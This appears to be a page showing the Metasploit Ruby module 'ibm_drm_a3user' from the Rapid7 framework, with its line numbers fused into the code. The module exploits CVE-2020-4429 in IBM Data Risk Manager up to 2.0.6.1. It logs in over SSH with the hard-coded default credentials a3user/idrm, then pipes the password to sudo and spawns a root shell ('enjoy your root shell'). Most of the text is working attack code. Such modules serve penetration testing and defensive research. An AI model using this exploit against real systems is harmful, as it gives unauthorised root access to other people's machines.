Real-time collaboration for Jupyter Notebooks, Linux Terminals, LaTeX, VS Code, R IDE, and more,
all in one place.
Real-time collaboration for Jupyter Notebooks, Linux Terminals, LaTeX, VS Code, R IDE, and more,
all in one place.
Path: blob/master/modules/exploits/linux/ssh/ibm_drm_a3user.rb
Views: 11784
##1# This module requires Metasploit: https://metasploit.com/download2# Current source: https://github.com/rapid7/metasploit-framework3##45class MetasploitModule < Msf::Exploit::Remote6Rank = ExcellentRanking78include Msf::Exploit::Remote::SSH910def initialize(info = {})11super(12update_info(13info,14'Name' => 'IBM Data Risk Manager a3user Default Password',15'Description' => %q{16This module abuses a known default password in IBM Data Risk Manager. The 'a3user'17has the default password 'idrm' and allows an attacker to log in to the virtual appliance18via SSH. This can be escalate to full root access, as 'a3user' has sudo access with the default password.19At the time of disclosure this was an 0day, but it was later confirmed and patched by IBM.20Versions <= 2.0.6.1 are confirmed to be vulnerable.21},22'License' => MSF_LICENSE,23'Author' => [24'Pedro Ribeiro <pedrib[at]gmail.com>' # Vulnerability discovery and Metasploit module25],26'References' => [27[ 'CVE', '2020-4429' ], # insecure default password28[ 'URL', 'https://github.com/pedrib/PoC/blob/master/advisories/IBM/ibm_drm/ibm_drm_rce.md' ],29[ 'URL', 'https://seclists.org/fulldisclosure/2020/Apr/33' ],30[ 'URL', 'https://www.ibm.com/blogs/psirt/security-bulletin-vulnerabilities-exist-in-ibm-data-risk-manager-cve-2020-4427-cve-2020-4428-cve-2020-4429-and-cve-2020-4430/']31],32'Payload' => {33'Compat' => {34'PayloadType' => 'cmd_interact',35'ConnectionType' => 'find'36}37},38'Platform' => 'unix',39'Arch' => ARCH_CMD,40'Targets' => [41[ 'IBM Data Risk Manager <= 2.0.6.1', {} ]42],43'Privileged' => true,44'DefaultTarget' => 0,45'DisclosureDate' => '2020-04-21',46'Notes' => {47'Stability' => [CRASH_SAFE],48'Reliability' => [REPEATABLE_SESSION],49'SideEffects' => []50}51)52)5354register_options(55[56Opt::RPORT(22),57OptString.new('USERNAME', [true, 'Username to login with', 'a3user']),58OptString.new('PASSWORD', [true, 'Password to login with', 'idrm'])59]60)6162register_advanced_options(63[64OptBool.new('SSH_DEBUG', [false, 'Enable SSH debugging output (Extreme verbosity!)', false]),65OptInt.new('SSH_TIMEOUT', [false, 'Specify the maximum time to negotiate a SSH session', 30])66]67)68end6970def on_new_session(client)71print_status("#{peer} - Escalating privileges to root, please wait a few seconds...")72# easiest way I found to get passwordless root, not sure if there's a shorter command73client.shell_command_token("echo #{datastore['PASSWORD']} | sudo -S 'echo 2>/dev/null'; sudo /bin/sh")74print_good("#{peer} - Done, enjoy your root shell!")75end7677def rhost78datastore['RHOST']79end8081def rport82datastore['RPORT']83end8485def peer86"#{rhost}:#{rport}"87end8889def do_login(user, pass)90opts = ssh_client_defaults.merge({91auth_methods: ['password', 'keyboard-interactive'],92port: rport,93password: pass94})9596opts.merge!(verbose: :debug) if datastore['SSH_DEBUG']9798begin99ssh =100::Timeout.timeout(datastore['SSH_TIMEOUT']) do101Net::SSH.start(rhost, user, opts)102end103rescue Rex::ConnectionError104fail_with(Failure::Unknown, "#{peer} SSH - Connection error")105rescue Net::SSH::Disconnect, ::EOFError106fail_with(Failure::Unknown, "#{peer} SSH - Disconnected during negotiation")107rescue ::Timeout::Error108fail_with(Failure::Unknown, "#{peer} SSH - Timed out during negotiation")109rescue Net::SSH::AuthenticationFailed110fail_with(Failure::Unknown, "#{peer} SSH - Failed authentication")111rescue Net::SSH::Exception => e112fail_with(Failure::Unknown, "#{peer} SSH Error: #{e.class} : #{e.message}")113end114115return Net::SSH::CommandStream.new(ssh) if ssh116117nil118end119120def exploit121user = datastore['USERNAME']122pass = datastore['PASSWORD']123124print_status("#{peer} - Attempting to log in to the IBM Data Risk Manager appliance...")125conn = do_login(user, pass)126if conn127print_good("#{peer} - Login successful (#{user}:#{pass})")128handler(conn.lsock)129end130end131end132133134